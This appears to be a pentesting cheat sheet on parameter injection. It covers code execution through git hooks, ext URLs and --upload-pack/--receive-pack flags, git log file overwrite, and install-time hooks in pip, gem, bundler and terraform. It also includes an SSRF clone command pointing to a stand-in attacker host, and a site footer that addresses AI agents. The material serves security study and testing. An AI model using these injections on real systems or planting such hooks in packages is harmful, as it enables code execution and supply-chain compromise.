> For the complete documentation index, see [llms.txt](https://lohitaksh-nandan.gitbook.io/cheat-sheets/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lohitaksh-nandan.gitbook.io/cheat-sheets/web-application/command-injection/parameters-injection.md).

# Parameters Injection

## git

### Abusing bare repositories

You can use bare repositories to deliver custom git hooks and execute arbitrary code. For instance, if the vulnerable code executes the following bash commands:

```bash
$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"
```

You can create a repo with the `subproject` folder, which is a bare repository with a payload in the post checkout hook:

```bash
$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir subproject
$ cd subproject
$ git init --bare
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # commit and push
```

{% embed url="<https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md>" %}

References:

* [Writeup: 4 Google Cloud Shell bugs explained – bug #3](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-3/)
* [githooks docs](https://git-scm.com/docs/githooks)

### git-clone

{% embed url="<https://git-scm.com/docs/git-clone>" %}

#### --config

Set a configuration variable in the newly-created repository; this takes effect immediately after the repository is initialized, but before the remote history is fetched or any files checked out.

**core.hooksPath**

`core.hooksPath` sets different path to hooks. You can create the post checkout hook within a repository, set the path to hooks with the `hooksPath`, and execute arbitrary code.

```bash
$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # commit and push
```

To execute the payload, run the git-clone:

```bash
$ git clone -c core.hooksPath=hooks "<REPO>"
```

References:

* [git-config docs: core.hooksPath](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corehooksPath)
* [githooks docs](https://git-scm.com/docs/githooks)

**http.proxy and http.\<URL>.proxy**

`http.proxy` or `http.<URL>.proxy` override the HTTP proxy. You can use this to get SSRF:

```bash
$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory
```

Pay attention to other `http.*` configs and `remote.<name>.proxy`, they can help to increase the impact.

References:

* [Report: Injection of `http.<url>.*` git config settings leading to SSRF](https://hackerone.com/reports/855276)
* [git-config docs: http.proxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-httpproxy)
* [git-config docs: remote..proxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-remoteltnamegtproxy)

#### ext URLs

`git-clone` allows shell commands to be specified in `ext` URLs for remote repositories. For instance, the next example will execute the whoami command to try to connect to a remote repository:

```bash
$ git clone 'ext::sh -c whoami% >&2'
```

References:

* [git-remote-ext docs](https://git-scm.com/docs/git-remote-ext)

#### \<directory>

`git-clone` allows specifying a new directory to clone into. Cloning into an existing directory is only allowed if the directory is empty. You can use this to write a repo outside a default folder.

```bash
$ git clone -- "<REPO>" target_directory
```

#### -u/--upload-pack

[upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt) specifies a non-default path for the command run on the other end when the repository to clone from is accessed via ssh. You can execute arbitrary code like this:

```bash
$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo
```

References:

* [Write up: Securing Developer Tools Package Managers - Argument Injections in Bundler and Poetry](https://blog.sonarsource.com/securing-developer-tools-package-managers)

### git-grep

{% embed url="<https://git-scm.com/docs/git-grep>" %}

#### --no-index

`no-index` tells the git-grep to search files in the current directory that is not managed by Git. In other words, if a working directory is different from a repository one `no-index` allows you to get access to files in the working directiory.

References:

* [Report: Git flag injection - Search API with scope 'blobs'](https://hackerone.com/reports/682442)

### git-log

{% embed url="<https://git-scm.com/docs/git-log>" %}

#### --output

`output` definea a specific file to output instead of stdout. You can use this to rewrite arbitrary files.

```bash
$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date:   Fri Aug 29 00:00:00 2021 +0000

    Controlled content
```

References:

* [Report: Git flag injection - local file overwrite to remote code execution](https://hackerone.com/reports/658013)
* [Report: Git flag injection leading to file overwrite and potential remote code execution](https://hackerone.com/reports/653125)

### git-push

{% embed url="<https://git-scm.com/docs/git-push>" %}

#### --receive-pack/--exec

[receive-pack or exec](https://git-scm.com/docs/git-push#Documentation/git-push.txt---receive-packltgit-receive-packgt) specifies a path to the [git-receive-pack](https://git-scm.com/docs/git-receive-pack) program on the remote end. You can execute arbitrary code like this:

```bash
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# or
$ git push --exec=payload.sh username/repo main
# or
$ git push --receive-pack=payload.sh main
```

## npm scripts

The [scripts](https://docs.npmjs.com/cli/v7/using-npm/scripts) property of the `package.json` file supports a number of built-in scripts and their preset life cycle events as well as arbitrary scripts. These all can be executed using [npm run-script or npm run for short](https://docs.npmjs.com/cli/v7/commands/npm-run-script).

{% hint style="info" %}
Scripts from dependencies can be run with `npm explore <pkg> -- npm run <stage>`
{% endhint %}

Pre and post commands with matching names will be run for those as well (e.g. premyscript, myscript, postmyscript). To create pre or post scripts for any scripts defined in the `scripts` section of the `package.json`, simply create another script with a matching name and add `pre` or `post` to the beginning of them.

In the following example `npm run compress` would execute these scripts as described.

```json
{
  "scripts": {
    "precompress": "{{ executes BEFORE the `compress` script }}",
    "compress": "{{ run command to compress files }}",
    "postcompress": "{{ executes AFTER `compress` script }}"
  }
}
```

There are some special life cycle scripts that happen only in certain situations. These scripts happen in addition to the `pre<event>`, `post<event>`, and `<event>` scripts.

* `prepare` (since npm\@4.0.0)
  * Runs any time before the package is packed, i.e. during `npm publish` and `npm pack`
  * Runs BEFORE the package is packed
  * Runs BEFORE the package is published
  * Runs on local `npm install` without any arguments
  * Run AFTER `prepublish`, but BEFORE `prepublishOnly`
  * NOTE: If a package being installed through git contains a `prepare` script, its `dependencies` and `devDependencies` will be installed, and the prepare script will be run, before the package is packaged and installed
  * As of `npm@7` these scripts run in the background. To see the output, run with: `--foreground-scripts`
* `prepublish` ([DEPRECATED](https://docs.npmjs.com/cli/v7/using-npm/scripts#prepare-and-prepublish))
  * Does not run during `npm publish`, but does run during `npm ci` and `npm install`
* `prepublishOnly`
  * Runs BEFORE the package is prepared and packed, ONLY on `npm publish`
* `prepack`
  * Runs BEFORE a tarball is packed (on `npm pack`, `npm publish`, and when installing a git dependencies)
  * NOTE: `npm run pack` is NOT the same as `npm pack`. `npm run pack` is an arbitrary user defined script name, where as, `npm pack` is a CLI defined command
* `postpack`
  * Runs AFTER the tarball has been generated but before it is moved to its final destination (if at all, publish does not save the tarball locally)

### npm cache add

[npm cache add](https://docs.npmjs.com/cli/v7/commands/npm-cache) runs the following life cycle scripts:

* `prepare`

### npm ci

[npm ci](https://docs.npmjs.com/cli/v7/commands/npm-ci) runs the following life cycle scripts:

* `preinstall`
* `install`
* `postinstall`
* `prepublish`
* `preprepare`
* `prepare`
* `postprepare`

These all run after the actual installation of modules into `node_modules`, in order, with no internal actions happening in between.

### npm diff

[npm diff](https://docs.npmjs.com/cli/v7/commands/npm-diff) runs the following life cycle scripts:

* `prepare`

### npm install

[npm install](https://docs.npmjs.com/cli/v7/commands/npm-install) runs the following life cycle scripts (also run when you run `npm install -g <pkg-name>`):

* `preinstall`
* `install`
* `postinstall`
* `prepublish`
* `preprepare`
* `prepare`
* `postprepare`

If there is a `binding.gyp` file in the root of a package and install or preinstall scripts were not defined, `npm` will default the `install` command to compile using [node-gyp](https://www.npmjs.com/package/node-gyp) via `node-gyp rebuild`.

### npm pack

[npm pack](https://docs.npmjs.com/cli/v7/commands/npm-pack) runs the following life cycle scripts:

* `prepack`
* `prepare`
* `postpack`

### npm publish

[npm publish](https://docs.npmjs.com/cli/v7/commands/npm-publish) runs the following life cycle scripts:

* `prepublishOnly`
* `prepack`
* `prepare`
* `postpack`
* `publish`
* `postpublish`

`prepare` will not run during `--dry-run`

### npm rebuild

[npm rebuild](https://docs.npmjs.com/cli/v7/commands/npm-rebuild) runs the following life cycle scripts:

* `preinstall`
* `install`
* `postinstall`
* `prepare`

`prepare` is only run if the current directory is a symlink (e.g. with linked packages)

### npm restart

[npm restart](https://docs.npmjs.com/cli/v7/commands/npm-restart) runs a restart script if it was defined, otherwise stop and start are both run if present, including their pre and post iterations):

* `prerestart`
* `restart`
* `postrestart`

### npm start

[npm start](https://docs.npmjs.com/cli/v7/commands/npm-start) runs the following life cycle scripts:

* `prestart`
* `start`
* `poststart`

If there is a `server.js` file in the root of your package, then `npm` will default the start command to node `server.js`. `prestart` and `poststart` will still run in this case.

### npm stop

[npm stop](https://docs.npmjs.com/cli/v7/commands/npm-stop) runs the following life cycle scripts:

* `prestop`
* `stop`
* `poststop`

### npm test

[npm test](https://docs.npmjs.com/cli/v7/commands/npm-test) runs the following life cycle scripts:

* `pretest`
* `test`
* `posttest`

## pip

### pip install

Extending the `setuptools` modules allows you to hook almost any `pip` command. For instance, you can use the `install` class within `setup.py` file to execute an arbitrary code during `pip install` running.

```python
from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # Insert code here
        install.run(self)

setup(
    ...
    cmdclass={
        'install': PostInstallCommand,
    },
    ...
)
```

When `pip install` is run the `PostInstallCommand.run` method will be invoked.

References:

* [0wned - Code execution via Python package installation](https://github.com/mschwager/0wned)

## gem

### gem build

`gemspec` file is a ruby file that defines what is in the gem, who made it, and the version of the gem. Since it is a ruby file you can write arbitrary code that will be executed when running `gem build`.

```ruby
# hola.gemspec file

# arbitrary code here
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end
```

When `gem build` is run the arbitrary ruby code will be executed.

```bash
$ gem build hola.gemspec
hola!
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem
```

References:

* [RubyGames Guides: Make your own gem](https://guides.rubygems.org/make-your-own-gem/)
* [RubyGames Guides: Command reference - gem build](https://guides.rubygems.org/command-reference/#gem-build)

### gem install

#### Extensions

`gemspec` allows you to define extensions to build when installing a gem. Many gems use extensions to wrap libraries that are written in C with a ruby wrapper. `gem` uses the `extconf.rb` to build an extension during installation. Since it is a ruby file you can write arbitrary code that will be executed when running `gem install`.

```ruby
# hola.gemspec file

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
```

```ruby
# extconf.rb

# arbitrary code here
system('echo "hola!"')
```

```bash
$ gem build hola.gemspec
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem
```

When `gem install` is run the arbitrary ruby code will be executed.

```bash
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...
```

References:

* [RubyGames Guides: Gems with extensions](https://guides.rubygems.org/gems-with-extensions/)
* [RubyGames Guides: Specification reference - Extensions](https://guides.rubygems.org/specification-reference/#extensions)
* [RubyGames Guides: Command reference - gem install](https://guides.rubygems.org/command-reference/#gem-install)

## bundler

### bundler install

[bundler install](https://bundler.io/v2.2/man/bundle-install.1.html) uses `gem` under the hood, therefore, it is possible to reuse gem's features for giving a profit.

#### Gemfile

[Gemfile](https://bundler.io/v2.2/man/gemfile.5.html) describes the gem dependencies required to execute associated Ruby code. Since it is a ruby file you can write arbitrary code that will be executed when running `bundle install`.

```ruby
# Gemfile

# arbitrary code here
system('echo "hola!"')
```

When `bundle install` is run the arbitrary ruby code will be executed.

```bash
$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.
```

#### gem dependency

Since `bundler` uses `gem install` to install the specified dependencies in `Gemfile` you can use extensions to embed an arbitrary code.

```ruby
# hola.gemspec file

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
```

```ruby
# extconf.rb

# arbitrary code here
system('echo "hola!"')
```

```bash
# build and push to rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem
```

```ruby
# Gemfile

source 'https://rubygems.org'

gem 'hola'
```

When `bundle install` is run the arbitrary ruby code will be executed.

```bash
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...
```

References:

* [RubyGames Guides: Make your own gem](https://guides.rubygems.org/make-your-own-gem/)
* [RubyGames Guides: Gems with extensions](https://guides.rubygems.org/gems-with-extensions/)
* [RubyGames Guides: Specification reference - Extensions](https://guides.rubygems.org/specification-reference/#extensions)
* [Bundler Docs: gemfile - Gems](https://bundler.io/v1.16/gemfile_man.html#GEMS)

#### git dependency

One of the sources of gems for `bundler` are git repositories with a gem's source code. Since a git repositories contains a source code `bundler` builds it before installing. Therefore, you can write an arbitrary code that will be executed when running `bundle install`.

{% hint style="info" %}
You can execute an arbitrary code using both [gemspec](#gem-build) file and [native extensions](#extensions)
{% endhint %}

Create a repository on `github.com` with the following `hola.gemspec` file:

```ruby
# arbitrary code here
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end
```

Add the repository to `Gemfile` as a git dependency.

```ruby
# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'
```

When `bundle install` is run the arbitrary ruby code will be executed.

```bash
$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
```

References:

* [Bundler Docs: gemfile - Git](https://bundler.io/v1.16/gemfile_man.html#GIT)

#### path dependency

You can specify that a gem is located in a particular location on the file system. Relative paths are resolved relative to the directory containing the `Gemfile`. Since a git repositories contains a source code `bundler` builds it before installing. Therefore, you can write an arbitrary code that will be executed when running `bundle install`.

You can specify that a gem is located in a particular location on the file system. Relative paths are resolved relative to the directory containing the `Gemfile`.

Similar to the semantics of the `:git` option, the `:path` option requires that the directory in question either contains a `.gemspec` for the gem, or that you specify an explicit version that bundler should use.

{% hint style="info" %}
Unlike `:git`, `bundler` does not compile native extensions for gems specified as paths
{% endhint %}

Therefore, you can gain code execution using the [.gemspec file with an arbitrary code](#gem-build) or [built gem with native extension](#extensions).

```ruby
# Gemfile
# .gemspec file is located in vendor/hola 
gem 'hola', :path => "vendor/hola"
```

```ruby
# Gemfile
# vendor/hola contains hola-0.0.0.gem file
gem 'hola', '0.0.0', :path => "vendor/hola"
```

When `bundle install` is run the arbitrary ruby code will be executed.

```bash
$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
```

References:

* [Bundler Docs: gemfile - Path](https://bundler.io/v1.16/gemfile_man.html#PATH)

## terraform

### terraform-plan

Terraform relies on plugins called ["providers"](https://www.terraform.io/docs/language/providers/configuration.html) to interact with remote systems. Terraform configurations must declare which providers they require, so that Terraform can install and use them.

You can write a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup), publish it to the [Terraform Registry](https://registry.terraform.io/) and add the provider to the Terraform code.

```
terraform {
  required_providers {
    evil = {
      source  = "evil/evil"
      version = "1.0"
    }
  }
}

provider "evil" {}
```

```bash
$ terraform init
$ terraform plan
```

The provider will be pulled in during `terraform init` and when `terraform plan` is run the arbitrary ruby code will be executed.

Additionally, Terraform offers the [external provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. Therefore, you to use the `external` data source to run arbitrary code. The following example from [docs](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) executes a python script during `terraform plan`.

```
data "external" "example" {
  program = ["python", "${path.module}/example-data-source.py"]

  query = {
    # arbitrary map from strings to strings, passed
    # to the external program as the data query.
    id = "abc123"
  }
}
```

References:

* [Terraform Plan "RCE"](https://alex.kaskaso.li/post/terraform-plan-rce)
* [Terraform Docs: Command: plan](https://www.terraform.io/docs/cli/commands/plan.html)
* [Terraform Docs: Provider Configuration](https://www.terraform.io/docs/language/providers/configuration.html)
* [Terraform Docs: The Module providers Meta-Argument](https://www.terraform.io/docs/language/meta-arguments/module-providers.html)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://lohitaksh-nandan.gitbook.io/cheat-sheets/web-application/command-injection/parameters-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
